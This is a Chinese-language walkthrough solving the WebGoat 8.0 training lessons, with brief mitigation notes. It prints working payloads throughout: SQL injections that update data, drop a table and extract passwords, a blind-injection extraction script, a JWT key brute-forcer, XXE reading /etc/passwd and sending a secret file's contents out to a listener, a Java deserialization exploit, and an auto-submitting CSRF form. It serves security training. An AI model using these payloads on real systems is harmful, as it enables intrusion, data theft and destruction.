历史最全 WebGoat 8.0 通关攻略
字数 1203 2025-08-18 11:39:08

WebGoat 8.0 全面通关教程

SQL Injection (intro)

基础注入技巧

  1. 查询特定字段

    select department from employees where first_name='Bob';
    
  2. 更新数据

    update employees set department='Sales' where first_name='Tobi';
    
  3. 修改表结构

    alter table employees add column phone varchar(20);
    
  4. 权限授予

    grant alter table to UnauthorizedUser;
    
  5. 经典永真式注入

    SELECT * FROM user_data WHERE first_name = 'John' and last_name = '' or '1' = '1';
    
  6. 账户注入

    -- 输入: 1 or true
    -- 拼接后:
    SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or true;
    
  7. 注释符使用

    -- 输入: ' or true -- -
    
  8. 更新注入

    -- 输入: '; update employees set salary=1000000 where last_name='Smith';-- -
    
  9. 删除表注入

    '; drop table access_log;-- -
    

SQL Injection (advanced)

高级注入技巧

  1. UNION注入

    -- 输入: ' or true union select 1,'2','3','4','5',password,7 from user_system_data where user_name='dave'-- -
    -- 拼接后:
    SELECT * FROM user_data WHERE last_name = '' or true union select 1,'2','3','4','5',password,7 from user_system_data where user_name='dave'-- -'
    
  2. 注册页面注入

    • 注入点存在于用户名检查功能
    • 使用布尔盲注技术
    • Python脚本示例:
      import requests
      from string import printable
      
      chars = printable
      result = ""
      i = 0
      
      while True:
          i += 1
          temp = result
          for char in chars:
              data = "username_reg=tom'+and substr(password,{0},1)='{1}'--+-&email_reg=7702%40qq.com&password_reg=123&confirm_password_reg=123".format(i, char)
              resp = requests.put(vul_url, data=data, headers=headers, cookies=cookies)
              if 'already exists' in resp.text:
                  result += char
                  print(result)
          if temp == result:
              break
      

SQL Injection (mitigation)

防御措施

  1. 预编译语句

    try {
        Connection ct = null;
        ct = DriverManager.getConnection(DBURL, DBUSER, DBPW);
        PreparedStatement ps = ct.prepareStatement("select * from users where name=?");
        ps.setString(1, "3");
        ResultSet rs = ps.executeQuery();
    } catch(Exception e) {
        System.out.println("123");
    }
    
  2. 排序注入防御

    • 使用CASE WHEN语句进行安全排序
    • 示例payload:
      GET /WebGoat/SqlInjectionMitigations/servers?column=case%20when%20(select%20substr(ip,1,1)='0'%20from%20servers%20where%20hostname='webgoat-prd')%20then%20hostname%20else%20mac%20end
      

Authentication Bypasses

JWT令牌攻击

  1. 未验证签名攻击

    • 解码JWT令牌
    • 修改admin为true
    • 重新编码header与payload,不添加签名部分
  2. 密钥爆破

    • 使用常见密钥尝试:victory, business, available, shipping, washington
    • Python爆破脚本:
      import jwt
      
      jwt_str = 'eyJhbGciOiJIUzI1NiJ9...'
      with open('pass.txt') as f:
          for line in f:
              key_ = line.strip()
              try:
                  jwt.decode(jwt_str, verify=True, key=key_)
                  print('Found key:', key_)
                  break
              except jwt.exceptions.InvalidSignatureError:
                  continue
      
  3. 刷新令牌攻击

    • 获取自己的refresh token
    • 使用refresh token刷新目标用户的access token
    • 使用目标用户的access token发送请求

XXE (XML External Entity)

XXE攻击技术

  1. 基础XXE

    <?xml version="1.0"?>
    <!DOCTYPE root [
        <!ENTITY xxe SYSTEM "file:///etc/passwd">
    ]>
    <comment>
        <text>&xxe;</text>
    </comment>
    
  2. 盲XXE

    • 使用外部DTD文件
    • attack.dtd内容:
      <!ENTITY % payload "<!ENTITY attack SYSTEM 'http://127.0.0.1:9090/landing?text=%file;'>">
      
    • 攻击payload:
      <?xml version="1.0"?>
      <!DOCTYPE root [
          <!ENTITY % file SYSTEM "file:///home/axin/.webgoat//XXE/secret.txt">
          <!ENTITY % test SYSTEM "http://127.0.0.1:9090/files/tntaxin/attack.dtd">
          %test;
          %payload;
      ]>
      <comment>
          <text>&attack;</text>
      </comment>
      

Insecure Deserialization

Java反序列化攻击

  1. 攻击原理

    • 利用VulnerableTaskHolder类的readObject方法执行命令
    • 构造恶意序列化对象
  2. 攻击代码

    package org.dummy.insecure.framework;
    
    import java.io.ByteArrayOutputStream;
    import java.io.ObjectOutputStream;
    import java.util.Base64;
    
    public class Main {
        static public void main(String[] args) {
            try {
                VulnerableTaskHolder go = new VulnerableTaskHolder("sleep", "sleep 6");
                ByteArrayOutputStream bos = new ByteArrayOutputStream();
                ObjectOutputStream oos = new ObjectOutputStream(bos);
                oos.writeObject(go);
                oos.flush();
                byte[] exploit = bos.toByteArray();
                String exp = Base64.getEncoder().encodeToString(exploit);
                System.out.println(exp);
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    

CSRF (Cross-Site Request Forgery)

CSRF攻击技术

  1. JSON CSRF

    <form name="attack" enctype="text/plain" action="http://localhost:8080/WebGoat/csrf/feedback/message" METHOD="POST">
        <input type="hidden" name='{"name": "Testf", "email": "test@example.com", "subject": "service", "message":"' value='test"}'>
    </form>
    <script>document.attack.submit();</script>
    
  2. 绕过Content-Type限制

    • 使用307重定向
    • 利用Flash跨域

SSRF (Server-Side Request Forgery)

SSRF攻击技术

  1. 基础SSRF

    url=images%2Fjerry.png
    
  2. 外部请求

    url=http://ifconfig.pro
    

Challenges

管理员密码重置

  1. Git信息泄露

    • 访问/.git目录
    • 使用git命令恢复历史版本:
      git status
      git log
      git checkout <commit-id>
      
  2. 随机数种子攻击

    • 使用固定种子生成伪随机数
    • 运行PasswordResetLink.class获取重置链接

无账户登录

  1. HEAD方法绕过
    • 使用HEAD方法代替GET方法
    • 服务器不会返回消息体但会处理请求

总结

本教程涵盖了WebGoat 8.0中各种安全漏洞的利用和防御方法,包括:

  • SQL注入(基础、高级、防御)
  • 认证绕过(JWT攻击)
  • XXE攻击
  • 不安全的反序列化
  • CSRF攻击
  • SSRF攻击
  • 各种挑战题的解决方案

每个技术点都提供了详细的payload示例和攻击思路,帮助学习者全面理解Web应用安全漏洞的原理和防御措施。

WebGoat 8.0 全面通关教程 SQL Injection (intro) 基础注入技巧 查询特定字段 : 更新数据 : 修改表结构 : 权限授予 : 经典永真式注入 : 账户注入 : 注释符使用 : 更新注入 : 删除表注入 : SQL Injection (advanced) 高级注入技巧 UNION注入 : 注册页面注入 : 注入点存在于用户名检查功能 使用布尔盲注技术 Python脚本示例: SQL Injection (mitigation) 防御措施 预编译语句 : 排序注入防御 : 使用CASE WHEN语句进行安全排序 示例payload: Authentication Bypasses JWT令牌攻击 未验证签名攻击 : 解码JWT令牌 修改admin为true 重新编码header与payload,不添加签名部分 密钥爆破 : 使用常见密钥尝试:victory, business, available, shipping, washington Python爆破脚本: 刷新令牌攻击 : 获取自己的refresh token 使用refresh token刷新目标用户的access token 使用目标用户的access token发送请求 XXE (XML External Entity) XXE攻击技术 基础XXE : 盲XXE : 使用外部DTD文件 attack.dtd内容: 攻击payload: Insecure Deserialization Java反序列化攻击 攻击原理 : 利用VulnerableTaskHolder类的readObject方法执行命令 构造恶意序列化对象 攻击代码 : CSRF (Cross-Site Request Forgery) CSRF攻击技术 JSON CSRF : 绕过Content-Type限制 : 使用307重定向 利用Flash跨域 SSRF (Server-Side Request Forgery) SSRF攻击技术 基础SSRF : 外部请求 : Challenges 管理员密码重置 Git信息泄露 : 访问 /.git 目录 使用git命令恢复历史版本: 随机数种子攻击 : 使用固定种子生成伪随机数 运行PasswordResetLink.class获取重置链接 无账户登录 HEAD方法绕过 : 使用HEAD方法代替GET方法 服务器不会返回消息体但会处理请求 总结 本教程涵盖了WebGoat 8.0中各种安全漏洞的利用和防御方法,包括: SQL注入(基础、高级、防御) 认证绕过(JWT攻击) XXE攻击 不安全的反序列化 CSRF攻击 SSRF攻击 各种挑战题的解决方案 每个技术点都提供了详细的payload示例和攻击思路,帮助学习者全面理解Web应用安全漏洞的原理和防御措施。